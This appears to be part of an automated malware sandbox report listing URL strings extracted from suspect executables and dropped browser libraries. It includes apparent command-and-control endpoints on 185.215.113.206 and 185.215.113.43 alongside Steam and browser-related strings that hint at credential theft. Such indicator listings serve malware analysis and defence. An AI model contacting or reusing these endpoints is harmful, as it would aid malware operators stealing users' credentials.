Source: 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001322000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpindows
Source: 971dbb906d.exe, 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpk/
Source: 971dbb906d.exe, 00000015.00000002.2892455567.000000000147B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phps
Source: 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpuL;
Source: file.exe, 00000000.00000002.1942675827.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/dw
Source: 971dbb906d.exe, 0000000D.00000002.2457446943.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/gW
Source: 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/i
Source: 971dbb906d.exe, 0000000D.00000002.2457446943.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000012.00000002.2631391189.000000000154D000.00000004.00000020.00020000.00000000.sdmp, 971dbb906d.exe, 00000015.00000002.2892455567.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ta
Source: 971dbb906d.exe, 00000012.00000002.2631391189.000000000154D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: file.exe, 00000000.00000002.1941074085.0000000000617000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: 580f9a92c2.exe, 00000011.00000002.2748924112.0000000001322000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206g
Source: file.exe, 00000000.00000002.1942675827.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206r
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A4A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php)
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php32
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php5543001
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpC)Py
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpL
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpb
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpded
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpes
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpqYo30zpOYVp
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=exe4
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/a
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/l
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ones
Source: skotes.exe, 0000000B.00000002.2915270609.0000000000A8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ows
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 580f9a92c2.exe, 00000011.00000003.2569576526.000000000137A000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587559356.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2601492562.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586681389.0000000001376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/acco
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2386829534.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559683905.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2558979343.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559975310.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2842429784.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2836790919.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2853297996.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 580f9a92c2.exe, 00000011.00000003.2569576526.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/p
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2386829534.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546685250.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559683905.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2558979343.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2559975310.000000000137D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795595664.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 580f9a92c2.exe, 0000000C.00000002.2387179534.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384024108.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000002.2386829534.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 0000000C.00000003.2384339910.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795595664.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: chromecache_79.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1978958410.000000006F26D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1964793841.000000001D4F6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1974044870.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 580f9a92c2.exe, 0000000C.00000003.2383990715.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2534012797.000000000136D000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 580f9a92c2.exe, 00000011.00000003.2572472353.0000000005C5D000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2817980928.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_81.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_81.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: chromecache_79.3.dr, chromecache_81.3.dr	String found in binary or memory: https://apis.google.com
Source: 580f9a92c2.exe, 00000014.00000003.2781605324.00000000013D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg4S7
Source: file.exe, 00000000.00000002.1942675827.0000000001085000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586921115.0000000005B60000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587686990.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1942675827.0000000001085000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2586921115.0000000005B60000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2587686990.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, GCFHDAKECFIDGDGDBKJD.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1818351918.0000000023478000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546801503.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2546560002.0000000005B8A000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000011.00000003.2547070606.0000000005B74000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794884731.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795071313.0000000005A18000.00000004.00000800.00020000.00000000.sdmp, GHJKJDAK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 580f9a92c2.exe, 00000014.00000003.2772523264.000000000135C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: chromecache_81.3.dr	String found in binary or memory: https://clients6.google.com
Source: 580f9a92c2.exe, 00000014.00000003.2772474427.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fa
Source: 580f9a92c2.exe, 0000000C.00000002.2387035660.0000000000DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fast
Source: 580f9a92c2.exe, 00000011.00000003.2544583004.0000000001375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.ste
Source: 580f9a92c2.exe, 00000014.00000003.2806493176.00000000013DA000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2792831307.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2823321097.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2794469472.00000000013DC000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2816873179.00000000013D9000.00000004.00000020.00020000.00000000.sdmp, 580f9a92c2.exe, 00000014.00000003.2795595664.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steams:
